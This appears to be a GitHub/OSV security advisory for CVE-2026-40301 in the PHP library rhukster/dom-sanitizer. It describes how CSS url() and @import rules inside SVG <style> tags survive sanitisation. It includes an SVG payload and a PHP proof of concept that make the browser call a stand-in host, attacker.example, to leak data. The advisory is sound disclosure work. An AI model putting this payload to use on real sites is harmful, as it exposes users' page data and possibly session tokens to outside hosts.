CVE-2026-40301: rhukster/dom-sanitizer SVG <style> Tag Allows CSS Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-93vf-569f-22cq",
  "modified" : "2026-04-24T20:48:42Z",
  "published" : "2026-04-10T21:08:30Z",
  "aliases" : [ "CVE-2026-40301" ],
  "summary" : "rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives",
  "details" : "### Summary\nDOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n  <style>* { background: url(https://attacker.example/collect); }</style>\n</svg>\n```\n\n### PoC\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\"><style>* { background: url(https://attacker.example/collect); }</style></svg>';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer->sanitize($svg);\necho $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "rhukster/dom-sanitizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40301"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rhukster/dom-sanitizer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T21:08:30Z",
    "nvd_published_at" : "2026-04-17T21:16:34Z"
  }
}